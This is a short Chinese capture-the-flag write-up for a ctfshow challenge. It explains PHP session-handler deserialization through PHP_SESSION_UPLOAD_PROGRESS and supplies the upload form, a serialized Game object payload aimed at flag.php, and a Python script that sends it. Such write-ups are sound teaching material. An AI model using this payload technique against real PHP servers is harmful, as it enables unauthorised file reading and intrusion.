原理详解
ctfshow 新手杯 剪刀石头布
这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。
1.在线运行得到报文
<!doctype html>
<html>
<body>
<form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
2.接着上传文件,抓包改数据包,修改文件名为序列化串
<?php
class Game{
public $log;
public function __construct(){
$this->log = "/var/www/html/flag.php";
}
}
$a=new Game();
echo serialize($a);
#|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
?>
或者用python 发包
import requests
url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
sessid = {
'PHPSESSID':'succ3'
}
data = {
'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
}
file = {
'file':'1'
}
req = requests.post(url=url,files=file,data=data,cookies=sessid)
print(req.text)